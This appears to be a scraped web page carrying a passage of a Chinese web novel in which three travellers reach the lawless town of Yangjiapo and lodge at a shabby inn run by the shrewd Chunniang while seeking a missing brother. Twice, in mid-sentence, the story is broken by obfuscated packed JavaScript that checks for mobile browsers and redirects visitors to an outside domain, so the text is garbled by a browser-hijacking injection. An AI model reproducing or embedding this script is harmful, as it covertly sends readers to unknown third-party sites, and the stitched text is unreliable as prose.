…… 元心兰看他们有一搭没一搭的相互调侃,觉得贾仁什么时候跟别的姑娘关系这样好。 只是以苗姑娘这样的性情,如果有一天知道贾仁的**,跟他说话不知道是否还能这样随意。 “没想到你们关系挺好啊。苗姑娘,放心,我这就叫汾城的下人帮我写一封信,说你在汾城很好。顺带带一箱汾城的佳酿送过来,说老匠师看上你这个徒弟,想留你多待几天,你大哥就不会怀疑和担心了。” “多谢姑娘。” 贾仁打趣道:“哼,还说我是骗子。我看你们两个更会骗人,一个大骗子,一个小骗子。” “苗姑娘,不要理她,我先跟你说说汾城的风情和特色吧。” …… 第34章 汾酒(5) 连着赶了三天的路,苗景岚一行人终于来到杨家坡。 说来也奇怪,没到杨家坡前,大家都谈虎色变。 可当大家真正来到这个小镇,却觉得也没什么大惊小怪。 除了这个镇子上的人口稀少一点,镇上的房屋少一些,镇上的居民大多对外来人保持着冷漠又警惕的眼神。 “注意了,这个镇子上的人可都不好惹。别看他们穿着寒酸,说不定就是哪个地方的逃犯,穷凶极恶的!”贾仁一改往日的痞癞语气,好心的叮嘱两个姑娘。 “放心,我心里有数。”苗景岚应了一句。 元心兰的马车停在大街上,本来是想到这里打探一下消息,到时候方便离开的。 没想到来来往往的倒吸引不少人的注意,毕竟这样的小县城里,像这样宽敞又华丽的马车很少见。 三个人先是找了一家馄饨店,打算喂饱肚子再说。 “掌柜的,来三碗馄饨。” 馄饨店的老板瞧了三人一眼,“三位客官是外地来的吧,看着面生。” “嗯,路过这里,歇歇脚。” “路口那辆大马车是你们的?哎哟喂,想不到咱们这穷乡僻壤还能遇上这样大富大贵的人。” 老店这话没让大家觉得欣喜,反倒多几分警醒。 苗景岚心想,可不是嘛,这年头普通老百姓吃饱饭都难。 结果,元心兰还坐着这样华丽的一辆马车出来,不就是像前一世某位富二代开着兰博基尼到贫民窟一样,是跑过来拉仇恨吗? 失算了失算了,苗景岚和贾仁对视一眼,显然大家都是这样想的。 赶紧打听一下元心兰二哥的事情,然后早一点离开才妙。 “掌柜的,我看你在这镇上开馄饨铺子开了很多年吧。这镇上突然来了什么人,你肯定比谁都清楚。我跟你打听一个人,三个月前来过这杨家坡。” 杨家坡的居民果然都是人精,卖馄饨的掌柜冲贾仁讪讪一笑:“这我可不清楚,小的只是开一个馄饨铺子而已,哪里有功夫记得那么多人。您要是想打听事,就去镇上的吉祥客栈吧。那里是本镇唯一的客栈,任何来到咱们镇子上的外地人都是在那里过夜,客栈里的人比谁都清楚,您有事向他们打听。” “吉祥客栈,就在镇子口上那一家吗?”元心兰想起路过时的那间破破烂烂的客栈,想不到居然是这里唯一的客栈。 “对,就是那里。我看这天色也快晚了,几位等会儿就到那里留宿吧,顺便还可以向他们打听一点事情。” 三个人吃完馄饨,直奔吉祥客栈。 吉祥客栈名字叫“吉祥”,里面的陈设一点儿也不吉祥。 两层楼高的木质楼房,破破烂烂的,野面摆放着陈旧的桌子和凳子。 或许是因为年久失修,走在那客栈的地板上总会时不时的发出吱嘎吱嘎的声响。 客栈里的伙计是一个瘦瘦高高的家伙,脸上的颧骨很高,笑起来像只皮猴。 苗景岚看了一眼那个伙计,发现此人居然还是一个驼背。 “几位远道而来,是要打尖还是住店?”驼背的瘦皮猴笑吟吟的过来招呼。 “住店。”贾仁应了一句,“给我们两间上房。” “客官,咱们这里没有什么上房,所有客栈的房间都是一个样子。”瘦皮猴解释道。 贾仁不乐意了,这客栈破破烂烂的,想必里面的房间也不怎么样。 自己一个男人还好说,可第一回带两位姑娘出门,怠慢两位姑娘就显得太不爷们。 “那你就想办法给我收拾出一间上房。”说话间,贾仁递给瘦皮猴一两银子。 瘦皮猴欢迎的接过银子,却为难的说:“客官,真的不是我不通融,实在是这客栈的条件有限。” 说到这里,他偷偷朝贾仁使一个眼色,“您瞧隔壁坐着的那一位,都住在这里半个月了,客栈里面的枕头被套一切东西统统自己换过,甚至还自己出钱买了花瓶香熏和澡盆,那才叫一个舒服。客官真的讲究,要不也自己花点钱添置?” 伙计这么一说,大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837571|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷把目光投向隔壁坐着的那位客人。 只见那是一位身穿白色蜀缎锦袍的男子,五官清秀,眉目如画。 头上别着一支白玉发簪,腰上系着一条玛瑙宝石玉腰带,手指上还有一个黑玉扳指。 身上收拾得一丝不苟,连头发丝都没有一根乱的,正独自坐在一桌丰盛的酒菜前捧着一个酒杯细细的品尝。 贾仁见状,不由微微皱起眉头。 如果他在京城见到这种做派的男子,顶多会猜测那人是哪家的面首,或是被富贵官宦人家娇养的少男,甚至还忍不住讥笑几句。 可在这穷山恶水的杨家坡,出现一个这样的人,很难不被人当作怪物。 “那人是……”苗景岚好奇的问一句。 瘦皮猴解释道:“那是来这里做买卖的京城贵公子,已经在这里住了大半个月,整个杨家坡的人都知道他。说是手中有一批货要出手,可等了这么久,也没有见到来与他做交易的人。啧啧,这笔买卖要是做成了,这个人怕是这辈子都不用发愁了。” “侯三,客栈这么忙,你不去帮忙,又跑到这里来嚼舌根子,小心我这个月不给你发工钱。”一个声音尖锐的女子从二楼走下来。 苗景岚抬眼看过去,发现那是一位三十出头的少妇。 虽身材有几分丰腴,但很有风韵。皮肤宛若凝脂般细腻光滑,鹅蛋般的脸庞上一双杏眼明亮犀利闪着精光,高挺的鼻梁,小巧玲珑的嘴唇。 好一个标标致致的美人,她的出现让这间破旧穷酸的客栈都显得光辉明亮。 “三位客官,我是这间客栈的老板,名叫春娘。你们有什么事情可以找我,奴家一定尽力帮忙。”跟刚才呵斥伙计的态度不同,春娘对其他人的声音软了不少,脸上还带着如春风般的笑容。 想不到这客栈里会有这样一位漂亮的老板,能在这种地方开客栈的漂亮女人一定不是一个简单的人,苗景岚在心里面说。 “老板,我向你打听一件事情,三个月前有没有什么陌生人经过这里?” 第35章 汾酒(6) “三个月前?”春娘斜着一双杏花眼瞧着贾仁,琥珀色的眼睛上下扫视对方,像是想要把对方看透。 “瞧着客官是京城来的吧?一听口音就听得出来。你说我这小小的客栈南来北往这么多人,哪里记得三个月前有什么外地人来过,公子是要难为奴家呀。奴家命苦,守着一个破店讨口饭吃,要是吃顿饱饭或许才想得起来!” 贾仁听出春娘的弦外之音,马上从身上掏出一锭银子:“这些银子给老板娘添两个菜吧,这你总想得起来吧?” 春娘笑眯眯的接过银子,“还是公子大方,奴家这就想想。三个月前呀,好像有一个经商的公子来过,他在这里小住了两天,后来跟着两个男人走了。” “那两个男人是什么人?”元心兰一听到有自己二哥的消息,立马关切的问道。 春娘摆弄一下右手的指甲,“这奴家就不知道了,左右不过是杨家坡的‘换刀客’而已。” “什么叫做‘换刀客’?”贾仁好奇的问。 “噗嗤。”春娘朝贾仁妖娆一笑,“公子果然是刚来的雏儿,连‘换刀客’都不知道。不过也难怪,‘换刀客’是我们这里的叫法,就是我们杨家坡当地受雇做买卖的家伙。多半是一些舞刀弄剑刀口舔血的家伙,说不定有的还背着人命官司。但只要接下了买卖,不管对方的出身,只管收钱办事。” “哪怕是办的是蹲大狱的事?”苗景岚忽然间开口。 春娘朝苗景岚对视一眼,就像是相似的动物充满敌意的打量对方。 “姑娘说的极是,咱这杨家坡就是一个天不管、地不管、官家也懒得管的小地方,在这混的人多半是出于无奈。只要有一口饭吃,什么蹲大狱又有什么打紧?命都快没了,蹲大狱又算什么事?” 春娘倒也是个实诚人,贾仁又从身上掏出二两银子:“春娘,能不能给这两位姑娘弄一间上房?” 哪料春娘只是看了一眼贾仁手中的银子,却并不接,“公子怕是不知道吧。我这里没有什么上房,每一间房都是二两银子一晚。” “什么?二两银子一晚的房间,你怎么不去抢?”即便是元心兰那种出身的女子,都觉得这客栈的房间贵得离谱。 苗景岚也不由在心里面吐槽,没想到住进了黑店。 春娘却是一脸的不以为然,继续摆弄着自己的兰蔻指甲,“三位若是嫌贵啊,也可以另找住处,恕奴家不能伺候。” “你……”元心兰被对方呛得语塞。 “好了好了,左右不过是一些银两的事。天都这么晚了,这镇子又只有这么一家客栈,就先对付一下算了。春娘,这是十两银子,算是我们这两天的客栈费用。剩下的你再给这两位姑娘的房间添置一些东西,我们就在这里住下了。” “行,公子,就按你说的办。”春娘欢喜的接过贾仁手中的银子。 等春娘走后,元心兰冲贾仁小声的抱怨:“你明明知道这是一家黑店,为什么要答应住下来?” “你觉得这个老板娘会是个简单的人吗?一个女子能在这杨家坡开这么唯一的客栈,要么神通广大,要么背后有人,要么两者兼有。你不是想知道你二哥跟谁走了吗?以后还得托她帮忙。再说了,这是哪里?杨家坡呀,就算离开这家客栈,你觉得这里还有谁会在晚上收留我们?” 元心兰听完觉得有理,也没有再说什么,只能认命的住在这条件简陋的客栈里。 贾仁住在南边的一间房,苗景岚则主动要求跟元心兰住一间房。 一是为了安全,二也是为了安全。 说。 “元姑娘,这客栈不知道是什么来路,咱们还是住在同一间房里,好有个照应。”苗景岚对元心兰说。 “好的,苗姐姐,我们可以住在一起聊天了。”元心兰一幅天真无邪的模样。 春娘收到贾仁的银子,给两个姑娘安排另一间房,又安排伙计瘦皮猴带他们到西边的一间房。 刚刚推门走进去,就闻到房间里面有一股浓重的发霉的味道,混杂着一种淡淡的腐臭味。 “哎哟,好臭好臭。小二,你怎么带我们住进这样的房间?”元心兰气愤的朝瘦皮猴抱怨。 “哎呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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